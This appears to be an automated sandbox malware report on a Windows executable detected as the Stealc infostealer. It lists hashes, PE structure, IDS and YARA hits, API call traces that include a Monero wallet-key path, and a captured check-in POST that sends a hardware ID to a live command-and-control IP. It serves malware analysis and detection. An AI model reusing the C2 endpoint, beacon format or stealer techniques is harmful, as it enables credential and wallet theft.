ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951230291721707
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'846'272 bytes
MD5:	93db12453ac29ad390cbd66f4b6dfd52
SHA1:	14dc9072be488c339f9c2bbc3711d9793bb7218b
SHA256:	afd87eeb51cb2bd9ed4b52f0151ddf1f540d6c9fffb433eab0063c7edf1d093f
SHA512:	e6bcafe83356e62d24be04888c7b303cf7d873a2363dca7759602ff2f3b04193999e20499d70d12a46356e33da3f4193d583b462160f8bf3f57d1ca62274fe65
SSDEEP:	24576:bmihk7ZuwYJ+DCdrYD/dqwE2rXMp7kJ/6u6X0yfDAghh4V9OgYX1OzckEg8tvzWJ:hkzcygNkJCuViQ9xDE9anp0pRs/DcW1
TLSH:	9F853333312E905FE829B53A1CFF530325E3CA11C1A699B4BC6F1A7D1E0D2D9E19E819
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB9C84F3CAAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ad8a4a57d7dd56efbf9a17d0adbe4a4c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29e000	0x200	b2d88feca93f03b01307f45a2dcc3795	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bgdhafsv	0x4fc000	0x19d000	0x19ca00	7b77b8360aab0524f538c163188d9f9e	False	0.9946423668963951	data	7.952703648524724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xszuyfga	0x699000	0x1000	0x400	279043e52a0f705de5fced6602e16f29	False	0.7880859375	data	6.201469284257068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	2fa7b6d6f70a7836e659824e45119147	False	0.38522518382352944	DOS executable (COM)	4.196042803354581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T04:41:07.170847+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 04:41:06.250785112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:06.257237911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 04:41:06.257421017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:06.257903099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:06.267934084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 04:41:06.945116997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 04:41:06.945193052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:06.948136091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:06.952996016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 04:41:07.170490026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 04:41:07.170846939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 04:41:09.957885981 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 04:41:06.257903099 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 04:41:06.945116997 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 02:41:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 04:41:06.948136091 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 34 34 41 32 33 39 43 45 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="hwid"B944A239CE222838420810------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="build"doma------BKKFHIEGDHJKECAAKKEB--
Oct 4, 2024 04:41:07.170490026 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 02:41:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	22:41:02
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x630000
File size:	1'846'272 bytes
MD5 hash:	93DB12453AC29AD390CBD66F4B6DFD52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1746371608.0000000005000000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00649860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01443018), ref: 006498A1
GetProcAddress.KERNEL32(74DD0000,01443210), ref: 006498BA
GetProcAddress.KERNEL32(74DD0000,01443138), ref: 006498D2
GetProcAddress.KERNEL32(74DD0000,01443180), ref: 006498EA
GetProcAddress.KERNEL32(74DD0000,01443270), ref: 00649903
GetProcAddress.KERNEL32(74DD0000,01449F18), ref: 0064991B
GetProcAddress.KERNEL32(74DD0000,01435870), ref: 00649933
GetProcAddress.KERNEL32(74DD0000,01435810), ref: 0064994C
GetProcAddress.KERNEL32(74DD0000,01443240), ref: 00649964
GetProcAddress.KERNEL32(74DD0000,01443078), ref: 0064997C
GetProcAddress.KERNEL32(74DD0000,014431F8), ref: 00649995
GetProcAddress.KERNEL32(74DD0000,01443288), ref: 006499AD
GetProcAddress.KERNEL32(74DD0000,014358F0), ref: 006499C5
GetProcAddress.KERNEL32(74DD0000,01443258), ref: 006499DE
GetProcAddress.KERNEL32(74DD0000,01443198), ref: 006499F6
GetProcAddress.KERNEL32(74DD0000,01435890), ref: 00649A0E
GetProcAddress.KERNEL32(74DD0000,014432A0), ref: 00649A27
GetProcAddress.KERNEL32(74DD0000,01443030), ref: 00649A3F
GetProcAddress.KERNEL32(74DD0000,01435850), ref: 00649A57
GetProcAddress.KERNEL32(74DD0000,01442FE8), ref: 00649A70
GetProcAddress.KERNEL32(74DD0000,01435730), ref: 00649A88
LoadLibraryA.KERNEL32(014430C0,?,00646A00), ref: 00649A9A
LoadLibraryA.KERNEL32(01443060,?,00646A00), ref: 00649AAB
LoadLibraryA.KERNEL32(014430D8,?,00646A00), ref: 00649ABD
LoadLibraryA.KERNEL32(01443090,?,00646A00), ref: 00649ACF
LoadLibraryA.KERNEL32(014431C8,?,00646A00), ref: 00649AE0
GetProcAddress.KERNEL32(75A70000,01443108), ref: 00649B02
GetProcAddress.KERNEL32(75290000,01443150), ref: 00649B23
GetProcAddress.KERNEL32(75290000,014431B0), ref: 00649B3B
GetProcAddress.KERNEL32(75BD0000,01443228), ref: 00649B5D
GetProcAddress.KERNEL32(75450000,014356F0), ref: 00649B7E
GetProcAddress.KERNEL32(76E90000,01449F08), ref: 00649B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00649BB6

Strings

NtQueryInformationProcess, xrefs: 00649BAA

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 2c23c61fc6acc747dc8c45642a279fd177d22a83eb188ad24829d101bd85b7be
Instruction ID: f96f7633abefbb04c5a01fd70d58a0d7d0ad93b319306f6a3c5f77c4ec750d29
Opcode Fuzzy Hash: 2c23c61fc6acc747dc8c45642a279fd177d22a83eb188ad24829d101bd85b7be
Instruction Fuzzy Hash: 3CA136B55142049FD34CEFA8ED8DA6A3BF9F7C8345704452AA65D8227CD639D8C2CB23

Function 006345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0063460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0063479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006345D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0063474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00634622

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 507b00ae2132315e1227f5fd42cea0bfad8c516bad7ebbda474a681515b2a836
Instruction ID: ace63dd0dd96f82aef2d688d9d7b89da72332155bebf3b33c9e42e2ff2148e53
Opcode Fuzzy Hash: 507b00ae2132315e1227f5fd42cea0bfad8c516bad7ebbda474a681515b2a836
Instruction Fuzzy Hash: 884123247C260C6ACE74BBA4885EEAD7767DF4B746F515240BC0152282CBF076AC8F26

Function 00634880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00634915
StrCmpCA.SHLWAPI(?,014507B0), ref: 0063493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00634ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00650DDB,00000000,?,?,00000000,?,",00000000,?,01450600), ref: 00634DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00634E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00634E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00634E49
InternetCloseHandle.WININET(00000000), ref: 00634EAD
InternetCloseHandle.WININET(00000000), ref: 00634EC5
HttpOpenRequestA.WININET(00000000,01450760,?,0144FDD8,00000000,00000000,00400100,00000000), ref: 00634B15

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

InternetCloseHandle.WININET(00000000), ref: 00634ECF

Strings

------, xrefs: 00634C69
", xrefs: 00634BF2
------, xrefs: 00634B28
------, xrefs: 006349BD
", xrefs: 00634D33

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
